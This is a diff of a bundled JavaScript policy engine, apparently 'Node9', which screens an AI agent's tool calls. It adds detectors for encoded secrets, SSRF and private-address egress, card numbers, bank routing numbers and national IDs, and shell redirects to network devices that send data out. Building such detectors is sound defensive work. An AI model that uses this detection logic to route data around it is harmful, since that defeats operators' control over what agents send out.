11471
|
-
const stripped = stripInvisible(text);
|
|
11472
|
-
if (stripped !== text) yield ["invisibles", stripped];
|
|
11473
|
-
if (/%[a-f0-9]{2}/i.test(text)) yield ["percent", percentOnce(text)];
|
|
11474
|
-
const families = [
|
|
11475
|
-
["base64", /[A-Za-z0-9+/_-]{22,}={0,2}/g],
|
|
11476
|
-
["hex", /\b(?:[a-f0-9]{2}){16,}\b/gi],
|
|
11477
|
-
["hex-escaped", /(?:\\x[a-f0-9]{2}){16,}/gi],
|
|
11478
|
-
["hex-delimited", /\b[a-f0-9]{2}(?:-[a-f0-9]{2}){15,}\b/gi],
|
|
11479
|
-
["base32", /\b[A-Z2-7]{26,}\b/gi]
|
|
11480
|
-
];
|
|
11481
|
-
for (const [region, joined] of encodedRegions(text, budget)) {
|
|
11482
|
-
if (joined) yield ["dns-labels", region];
|
|
11483
|
-
for (const [kind, re] of families) {
|
|
11484
|
-
for (const match of region.matchAll(re)) {
|
|
11485
|
-
const raw = match[0];
|
|
11486
|
-
let buf;
|
|
11487
|
-
if (kind === "base64") {
|
|
11488
|
-
if (/^[a-f0-9]+$/i.test(raw)) continue;
|
|
11489
|
-
const normalized = raw.replace(/-/g, "+").replace(/_/g, "/");
|
|
11490
|
-
const unpadded = normalized.replace(/=+$/, "");
|
|
11491
|
-
if (unpadded.length % 4 === 1 || raw.includes("=") && raw.length % 4 !== 0) continue;
|
|
11492
|
-
buf = Buffer.from(normalized, "base64");
|
|
11493
|
-
if (buf.toString("base64").replace(/=+$/, "") !== unpadded) continue;
|
|
11494
|
-
} else if (kind === "base32") {
|
|
11495
|
-
const decoded2 = decodeBase32(raw);
|
|
11496
|
-
if (!decoded2) continue;
|
|
11497
|
-
buf = decoded2;
|
|
11498
|
-
} else {
|
|
11499
|
-
buf = Buffer.from(raw.replace(/\\x|-/gi, ""), "hex");
|
|
11500
|
-
}
|
|
11501
|
-
const decoded = textBytes(buf);
|
|
11502
|
-
if (decoded !== null) yield [kind, decoded];
|
|
11503
|
-
}
|
|
11504
|
-
}
|
|
11505
|
-
}
|
|
11506
|
-
}
|
|
11507
|
-
function secretViews(text, budget) {
|
|
11508
|
-
const seen = /* @__PURE__ */ new Set([text]);
|
|
11509
|
-
const out = [];
|
|
11510
|
-
let frontier = [{ text, transforms: [] }];
|
|
11511
|
-
for (let depth = 1; depth <= SECRET_VIEW_LIMITS.maxDepth; depth++) {
|
|
11512
|
-
const next = [];
|
|
11513
|
-
for (const parent of frontier) {
|
|
11514
|
-
let perLeaf = 0;
|
|
11515
|
-
for (const [kind, decoded] of decodedCandidates(parent.text, budget)) {
|
|
11516
|
-
if (seen.has(decoded)) continue;
|
|
11517
|
-
seen.add(decoded);
|
|
11518
|
-
const normalizing = kind === "invisibles" || kind === "percent";
|
|
11519
|
-
if (depth >= 2 && !normalizing) {
|
|
11520
|
-
budget.nestedBytes += Buffer.byteLength(decoded);
|
|
11521
|
-
if (++perLeaf > SECRET_VIEW_LIMITS.maxNestedViewsPerLeaf || budget.nestedBytes > SECRET_VIEW_LIMITS.maxNestedBytes) {
|
|
11522
|
-
budget.reasons.add("decode-nested");
|
|
11523
|
-
return out;
|
|
11524
|
-
}
|
|
11525
|
-
}
|
|
11526
|
-
const view = { text: decoded, transforms: [...parent.transforms, kind] };
|
|
11527
|
-
out.push(view);
|
|
11528
|
-
next.push(view);
|
|
11529
|
-
}
|
|
11530
|
-
}
|
|
11531
|
-
frontier = next;
|
|
11532
|
-
if (!frontier.length) return out;
|
|
11533
|
-
}
|
|
11534
|
-
for (const view of frontier) {
|
|
11535
|
-
if (!decodedCandidates(view.text, budget).next().done) {
|
|
11536
|
-
budget.reasons.add("decode-nested");
|
|
11537
|
-
break;
|
|
11538
|
-
}
|
|
11539
|
-
}
|
|
11540
|
-
return out;
|
|
11541
|
-
}
|
|
11542
|
-
|
|
11543
12535
|
// src/dlp/arguments.ts
|
|
11544
12536
|
var ARGUMENT_SCAN_LIMITS = {
|
|
11545
12537
|
maxDepth: 12,
|
|
@@ -11860,11 +12852,12 @@ async function evaluatePolicyCore(config, toolName, args, context = {}, hooks =
|
|
|
11860
12852
|
{
|
|
11861
12853
|
const dest = ssrfDestinationFloor(toolName, args, {
|
|
11862
12854
|
ssrfAllow: config.policy.egress?.ssrfAllow,
|
|
11863
|
-
ssrfStrict: config.policy.egress?.ssrfStrict
|
|
12855
|
+
ssrfStrict: config.policy.egress?.ssrfStrict,
|
|
12856
|
+
allowPrivate: config.policy.egress?.enabled ? config.policy.egress.allowPrivate : void 0
|
|
11864
12857
|
});
|
|
11865
12858
|
if (dest) {
|
|
11866
12859
|
return {
|
|
11867
|
-
decision:
|
|
12860
|
+
decision: dest.decision,
|
|
11868
12861
|
blockedByLabel: "\u{1F310} Node9 Egress (Protected Address)",
|
|
11869
12862
|
reason: dest.reason,
|
|
11870
12863
|
ruleName: `ssrf:${dest.tier}:${toolName}:${dest.host}`,
|
|
@@ -12061,11 +13054,14 @@ async function evaluatePolicyCore(config, toolName, args, context = {}, hooks =
|
|
|
12061
13054
|
{
|
|
12062
13055
|
const ssrf = ssrfFloor(extractShellDestTokens(shellCommand), {
|
|
12063
13056
|
ssrfAllow: config.policy.egress?.ssrfAllow,
|
|
12064
|
-
ssrfStrict: config.policy.egress?.ssrfStrict
|
|
13057
|
+
ssrfStrict: config.policy.egress?.ssrfStrict,
|
|
13058
|
+
// Only an ENABLED egress policy speaks for the operator here: the
|
|
13059
|
+
// shipped default carries allowPrivate without anyone having chosen it.
|
|
13060
|
+
allowPrivate: config.policy.egress?.enabled ? config.policy.egress.allowPrivate : void 0
|
|
12065
13061
|
});
|
|
12066
13062
|
if (ssrf) {
|
|
12067
13063
|
return {
|
|
12068
|
-
decision:
|
|
13064
|
+
decision: ssrf.decision,
|
|
12069
13065
|
blockedByLabel: "\u{1F310} Node9 Egress (Protected Address)",
|
|
12070
13066
|
reason: ssrf.reason,
|
|
12071
13067
|
ruleName: `ssrf:${ssrf.tier}:${ssrf.binary}:${ssrf.host}`,
|
|
@@ -12387,8 +13383,66 @@ var import_crypto2 = require("crypto");
|
|
|
12387
13383
|
var PII_EMAIL_RE = /\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}\b/;
|
|
12388
13384
|
var PII_SSN_RE = /\b\d{3}-\d{2}-\d{4}\b/;
|
|
12389
13385
|
var PII_PHONE_RE = /\b(?:\+?1[-.\s]?)?\(?\d{3}\)?[-.\s]\d{3}[-.\s]\d{4}\b/;
|
|
12390
|
-
var PII_CC16_RE = /\b(?:4\d{3}|5[1-5]\d{2}|6\d{3})[-\s]?\d{4}[-\s]?\d{4}[-\s]?\d{4}\b/;
|
|
12391
|
-
var PII_CC15_RE = /\b3[47]\d{2}[-\s]?\d{6}[-\s]?\d{5}\b/;
|
|
13386
|
+
var PII_CC16_RE = /\b(?:4\d{3}|5[1-5]\d{2}|2(?:22[1-9]|2[3-9]\d|[3-6]\d\d|7[01]\d|720)|6\d{3}|35(?:2[89]|[3-8]\d)|220[0-4])[-\s.]?\d{4}[-\s.]?\d{4}[-\s.]?\d{4}\b/;
|
|
13387
|
+
var PII_CC15_RE = /\b3[47]\d{2}[-\s.]?\d{6}[-\s.]?\d{5}\b/;
|
|
13388
|
+
var PII_CC14_RE = /\b3(?:0[0-5]\d|[68]\d\d)[-\s.]?\d{6}[-\s.]?\d{4}\b/;
|
|
13389
|
+
var PII_CC13_RE = /\b4\d{3}[-\s.]?\d{3}[-\s.]?\d{3}[-\s.]?\d{3}\b/;
|
|
13390
|
+
var PII_CC19_RE = /\b4\d{3}[-\s.]?\d{4}[-\s.]?\d{4}[-\s.]?\d{4}[-\s.]?\d{3}\b/;
|
|
13391
|
+
var CARD_PATTERNS = [PII_CC16_RE, PII_CC15_RE, PII_CC14_RE, PII_CC13_RE, PII_CC19_RE];
|
|
13392
|
+
var PII_ROUTING_RE = /\b\d{9}\b/;
|
|
13393
|
+
var ROUTING_LABEL_RE = /\b(?:routing|aba|rtn)\b/i;
|
|
13394
|
+
var ROUTING_LABEL_WINDOW = 24;
|
|
13395
|
+
var NATIONAL_ID_SHAPES = [
|
|
13396
|
+
{ regex: /\b[A-Z]{6}\d{2}[A-EHLMPRST]\d{2}[A-Z]\d{3}[A-Z]\b/, validate: validateCodiceFiscale },
|
|
13397
|
+
{ regex: /\b(?:\d{8}|[XYZ]\d{7})[A-Z]\b/, validate: validateSpanishId },
|
|
13398
|
+
{ regex: /\b756\.\d{4}\.\d{4}\.\d{2}\b/, validate: validateSwissAhv },
|
|
13399
|
+
{ regex: /\bCHE-\d{3}\.\d{3}\.\d{3}\b/i, validate: validateSwissUid },
|
|
13400
|
+
{
|
|
13401
|
+
regex: /\b[12] ?\d{2} ?(?:0[1-9]|1[0-2]|[2-9]\d) ?(?:\d{2}|2[AB]) ?\d{3} ?\d{3} ?\d{2}\b/,
|
|
13402
|
+
validate: validateNir
|
|
13403
|
+
},
|
|
13404
|
+
// PESEL and CNP are bare 11- and 13-digit runs: a millisecond timestamp
|
|
13405
|
+
// passes the CNP rules about 1 time in 400 and a random 11-digit id passes
|
|
13406
|
+
// PESEL about 1 in 50 (measured), so both need their name nearby.
|
|
13407
|
+
{ regex: /\b\d{11}\b/, validate: validatePesel, labelled: true },
|
|
13408
|
+
{ regex: /\b[1-9]\d{12}\b/, validate: validateCnp, labelled: true },
|
|
13409
|
+
{ regex: /\b\d{6}[-+]\d{4}\b/, validate: validateSwedishPersonnummer, labelled: true },
|
|
13410
|
+
{ regex: /\b\d{11}\b/, validate: validateNorwegianFnr, labelled: true },
|
|
13411
|
+
{ regex: /\b\d{6}[-+A-FU-Y]\d{3}[0-9A-Y]\b/, validate: validateFinnishHetu, labelled: true }
|
|
13412
|
+
];
|
|
13413
|
+
var NATIONAL_ID_LABEL_RE = /\b(?:personnummer|personal identity number|f[øo]dselsnummer|hetu|henkil[öo]tunnus|pesel|cnp|cod numeric personal|codul numeric personal|national id(?:entification)?(?: number)?)\b/i;
|
|
13414
|
+
var NATIONAL_ID_LABEL_WINDOW = 32;
|
|
13415
|
+
var NATIONAL_ID_GUARD_RE = /\d{3}|[A-Z]{6}\d{2}/;
|
|
13416
|
+
function hasNationalId(text) {
|
|
13417
|
+
if (!NATIONAL_ID_GUARD_RE.test(text)) return false;
|
|
13418
|
+
const labelled = NATIONAL_ID_LABEL_RE.test(text);
|
|
13419
|
+
for (const shape of NATIONAL_ID_SHAPES) {
|
|
13420
|
+
if (shape.labelled && !labelled) continue;
|
|
13421
|
+
const flags = shape.regex.flags.includes("g") ? shape.regex.flags : shape.regex.flags + "g";
|
|
13422
|
+
const re = new RegExp(shape.regex.source, flags);
|
|
13423
|
+
let m;
|
|
13424
|
+
while ((m = re.exec(text)) !== null) {
|
|
13425
|
+
if (!shape.validate(m[0])) continue;
|
|
13426
|
+
if (!shape.labelled) return true;
|
|
13427
|
+
const before = text.slice(Math.max(0, m.index - NATIONAL_ID_LABEL_WINDOW), m.index);
|
|
13428
|
+
if (NATIONAL_ID_LABEL_RE.test(before)) return true;
|
|
13429
|
+
}
|
|
13430
|
+
}
|
|
13431
|
+
return false;
|
|
13432
|
+
}
|
|
13433
|
+
function hasRoutingNumber(text) {
|
|
13434
|
+
if (!ROUTING_LABEL_RE.test(text)) return false;
|
|
13435
|
+
const re = new RegExp(PII_ROUTING_RE.source, "g");
|
|
13436
|
+
let m;
|
|
13437
|
+
while ((m = re.exec(text)) !== null) {
|
|
13438
|
+
if (!validateAbaRouting(m[0])) continue;
|
|
13439
|
+
const before = text.slice(Math.max(0, m.index - ROUTING_LABEL_WINDOW), m.index);
|
|
13440
|
+
const end = m.index + m[0].length;
|
|
13441
|
+
const after = text.slice(end, end + ROUTING_LABEL_WINDOW);
|
|
13442
|
+
if (ROUTING_LABEL_RE.test(before) || ROUTING_LABEL_RE.test(after)) return true;
|
|
13443
|
+
}
|
|
13444
|
+
return false;
|
|
13445
|
+
}
|
|
12392
13446
|
var PII_IBAN_RE = /\b[A-Z]{2}\d{2}(?:[A-Z0-9]|[ -][A-Z0-9]){11,30}\b/;
|
|
12393
13447
|
function* validCardRuns(text, base2, exemptFractions = true) {
|
|
12394
13448
|
const re = new RegExp(base2.source, "g");
|
|
@@ -12404,14 +13458,14 @@ function* validCardRuns(text, base2, exemptFractions = true) {
|
|
|
12404
13458
|
}
|
|
12405
13459
|
}
|
|
12406
13460
|
function hasValidCard(text) {
|
|
12407
|
-
for (const base2 of
|
|
13461
|
+
for (const base2 of CARD_PATTERNS) {
|
|
12408
13462
|
if (!validCardRuns(text, base2).next().done) return true;
|
|
12409
13463
|
}
|
|
12410
13464
|
return false;
|
|
12411
13465
|
}
|
|
12412
13466
|
function replaceValidCards(text, replace, { exemptFractions = true } = {}) {
|
|
12413
13467
|
let out = text;
|
|
12414
|
-
for (const base2 of
|
|
13468
|
+
for (const base2 of CARD_PATTERNS) {
|
|
12415
13469
|
let res = "";
|
|
12416
13470
|
let last = 0;
|
|
12417
13471
|
for (const run of validCardRuns(out, base2, exemptFractions)) {
|
|
@@ -12452,38 +13506,95 @@ function detectPii(text) {
|
|
|
12452
13506
|
if (PII_PHONE_RE.test(text)) found.add("Phone");
|
|
12453
13507
|
if (hasValidCard(text)) found.add("Credit Card");
|
|
12454
13508
|
if (hasValidIban(text)) found.add("IBAN");
|
|
13509
|
+
if (hasRoutingNumber(text)) found.add("Bank Routing Number");
|
|
13510
|
+
if (hasNationalId(text)) found.add("National ID");
|
|
12455
13511
|
return [...found];
|
|
12456
13512
|
}
|
|
12457
|
-
var REALTIME_PII_PATTERNS = [
|
|
13513
|
+
var REALTIME_PII_PATTERNS = [
|
|
13514
|
+
"SSN",
|
|
13515
|
+
"Credit Card",
|
|
13516
|
+
"IBAN",
|
|
13517
|
+
"Bank Routing Number",
|
|
13518
|
+
"National ID"
|
|
13519
|
+
];
|
|
12458
13520
|
var MAX_PII_SCAN_BYTES = 1e5;
|
|
12459
|
-
function* stringLeaves(v, depth = 0) {
|
|
13521
|
+
function* stringLeaves(v, depth = 0, key) {
|
|
12460
13522
|
if (depth > 6) return;
|
|
12461
13523
|
if (typeof v === "string") {
|
|
12462
|
-
if (v.length > 0) yield v;
|
|
13524
|
+
if (v.length > 0) yield [v, key];
|
|
12463
13525
|
return;
|
|
12464
13526
|
}
|
|
12465
13527
|
if (typeof v === "number") {
|
|
12466
|
-
if (Number.isFinite(v)) yield String(v);
|
|
13528
|
+
if (Number.isFinite(v)) yield [String(v), key];
|
|
12467
13529
|
return;
|
|
12468
13530
|
}
|
|
12469
13531
|
if (!v || typeof v !== "object") return;
|
|
12470
13532
|
if (Array.isArray(v)) {
|
|
12471
|
-
for (const x of v) yield* stringLeaves(x, depth + 1);
|
|
13533
|
+
for (const x of v) yield* stringLeaves(x, depth + 1, key);
|
|
12472
13534
|
return;
|
|
12473
13535
|
}
|
|
12474
|
-
for (const x of Object.
|
|
13536
|
+
for (const [k, x] of Object.entries(v)) yield* stringLeaves(x, depth + 1, k);
|
|
13537
|
+
}
|
|
13538
|
+
function argumentLeavesText(args, limit = MAX_PII_SCAN_BYTES) {
|
|
13539
|
+
const parts = [];
|
|
13540
|
+
let size = 0;
|
|
13541
|
+
for (const [leaf] of stringLeaves(args)) {
|
|
13542
|
+
if (size >= limit) break;
|
|
13543
|
+
parts.push(leaf);
|
|
13544
|
+
size += leaf.length + 1;
|
|
13545
|
+
}
|
|
13546
|
+
return parts.join("\n").slice(0, limit);
|
|
13547
|
+
}
|
|
13548
|
+
var IBAN_DESTINATION_KEYS = /* @__PURE__ */ new Set([
|
|
13549
|
+
"to",
|
|
13550
|
+
"recipient",
|
|
13551
|
+
"recipients",
|
|
13552
|
+
"payee",
|
|
13553
|
+
"beneficiary",
|
|
13554
|
+
"destination",
|
|
13555
|
+
"iban",
|
|
13556
|
+
"account",
|
|
13557
|
+
"account_number",
|
|
13558
|
+
"accountnumber"
|
|
13559
|
+
]);
|
|
13560
|
+
var WHOLE_IBAN_RE = /^[A-Z]{2}\d{2}[A-Z0-9 -]{11,34}$/;
|
|
13561
|
+
function isIbanDestination(leaf, key) {
|
|
13562
|
+
if (!key || !IBAN_DESTINATION_KEYS.has(key.toLowerCase())) return false;
|
|
13563
|
+
const value = leaf.trim();
|
|
13564
|
+
return WHOLE_IBAN_RE.test(value) && validateIban(value);
|
|
13565
|
+
}
|
|
13566
|
+
var JSON_ESCAPE_RE = /\\(?:[ntr"\\/]|u[0-9a-fA-F]{4})/g;
|
|
13567
|
+
var JSON_ESCAPES = {
|
|
13568
|
+
n: "\n",
|
|
13569
|
+
t: " ",
|
|
13570
|
+
r: "\r",
|
|
13571
|
+
'"': '"',
|
|
13572
|
+
"\\": "\\",
|
|
13573
|
+
"/": "/"
|
|
13574
|
+
};
|
|
13575
|
+
function jsonUnescapedView(leaf) {
|
|
13576
|
+
if (!/\\[ntr"\\/u]/.test(leaf)) return null;
|
|
13577
|
+
return leaf.replace(
|
|
13578
|
+
JSON_ESCAPE_RE,
|
|
13579
|
+
(m) => m[1] === "u" ? String.fromCharCode(parseInt(m.slice(2), 16)) : JSON_ESCAPES[m[1]]
|
|
13580
|
+
);
|
|
12475
13581
|
}
|
|
12476
13582
|
function detectArgsPii(args) {
|
|
12477
13583
|
if (args === null || args === void 0) return [];
|
|
12478
13584
|
const found = /* @__PURE__ */ new Set();
|
|
12479
13585
|
let budget = MAX_PII_SCAN_BYTES;
|
|
12480
13586
|
try {
|
|
12481
|
-
for (const leaf of stringLeaves(args)) {
|
|
13587
|
+
for (const [leaf, key] of stringLeaves(args)) {
|
|
12482
13588
|
if (budget <= 0) break;
|
|
12483
13589
|
const t = leaf.length > budget ? leaf.slice(0, budget) : leaf;
|
|
12484
13590
|
budget -= t.length;
|
|
12485
|
-
|
|
12486
|
-
|
|
13591
|
+
const destination = isIbanDestination(t, key);
|
|
13592
|
+
for (const view of [t, jsonUnescapedView(t)]) {
|
|
13593
|
+
if (view === null) continue;
|
|
13594
|
+
for (const p of detectPii(view)) {
|
|
13595
|
+
if (p === "IBAN" && destination) continue;
|
|
13596
|
+
if (REALTIME_PII_PATTERNS.includes(p)) found.add(p);
|
|
13597
|
+
}
|
|
12487
13598
|
}
|
|
12488
13599
|
}
|
|
12489
13600
|
} catch {
|
|
@@ -13073,6 +14184,15 @@ function walkCalls(command, out, depth, state) {
|
|
|
13073
14184
|
for (const a of node.Args || []) if (a?.Name?.Value) state.env.add(a.Name.Value);
|
|
13074
14185
|
return true;
|
|
13075
14186
|
}
|
|
14187
|
+
if (type === "Stmt") {
|
|
14188
|
+
for (const r of node.Redirs || []) {
|
|
14189
|
+
const h = devNetRedirectHost(r?.Word ? resolveWordLiteral(r.Word) : null);
|
|
14190
|
+
if (!h) continue;
|
|
14191
|
+
out.sends = true;
|
|
14192
|
+
out.destinations.push(`host:${h}`);
|
|
14193
|
+
}
|
|
14194
|
+
return true;
|
|
14195
|
+
}
|
|
13076
14196
|
if (type !== "CallExpr") return true;
|
|
13077
14197
|
const call = node;
|
|
13078
14198
|
if ((call.Args || []).length === 0) {
|
|
@@ -13600,8 +14720,8 @@ function matchCanaryArgs(args, values) {
|
|
|
13600
14720
|
|
|
13601
14721
|
// src/scan/canonical.ts
|
|
13602
14722
|
var LONG_OUTPUT_THRESHOLD_BYTES = 100 * 1024;
|
|
13603
|
-
var CANONICAL_EXTRACTOR_VERSION = "canonical-
|
|
13604
|
-
var CANONICAL_EXTRACTOR_HASH = "
|
|
14723
|
+
var CANONICAL_EXTRACTOR_VERSION = "canonical-v29";
|
|
14724
|
+
var CANONICAL_EXTRACTOR_HASH = "3b936dab47d27942";
|
|
13605
14725
|
var DEDUPE_PREVIEW_LEN = 120;
|
|
13606
14726
|
function extractCanonicalFindings(call, ctx) {
|
|
13607
14727
|
const out = [];
|
|
@@ -13972,6 +15092,7 @@ function* stringValues(obj, depth = 0) {
|
|
|
13972
15092
|
var ENGINE_VERSION = "1.4.0";
|
|
13973
15093
|
// Annotate the CommonJS export names for ESM import in node:
|
|
13974
15094
|
0 && (module.exports = {
|
|
15095
|
+
ACTION_SHIELD_NAMES,
|
|
13975
15096
|
AGENT_INSTRUCTION_DIRS,
|
|
13976
15097
|
AGENT_INSTRUCTION_FILES,
|
|
13977
15098
|
ARGUMENT_SCAN_LIMITS,
|
|
@@ -14023,6 +15144,7 @@ var ENGINE_VERSION = "1.4.0";
|
|
|
14023
15144
|
analyzeFsOperation,
|
|
14024
15145
|
analyzePipeChain,
|
|
14025
15146
|
analyzeShellCommand,
|
|
15147
|
+
argumentLeavesText,
|
|
14026
15148
|
catalogSettingsFromConfig,
|
|
14027
15149
|
checkDangerousSql,
|
|
14028
15150
|
checkIdForCheckedBy,
|
|
@@ -14139,6 +15261,7 @@ var ENGINE_VERSION = "1.4.0";
|
|
|
14139
15261
|
scanViews,
|
|
14140
15262
|
sensitivePathMatch,
|
|
14141
15263
|
shellRuleArgs,
|
|
15264
|
+
shellScriptOperands,
|
|
14142
15265
|
ssrfCheckId,
|
|
14143
15266
|
ssrfDestinationFloor,
|
|
14144
15267
|
ssrfExemptMatches,
|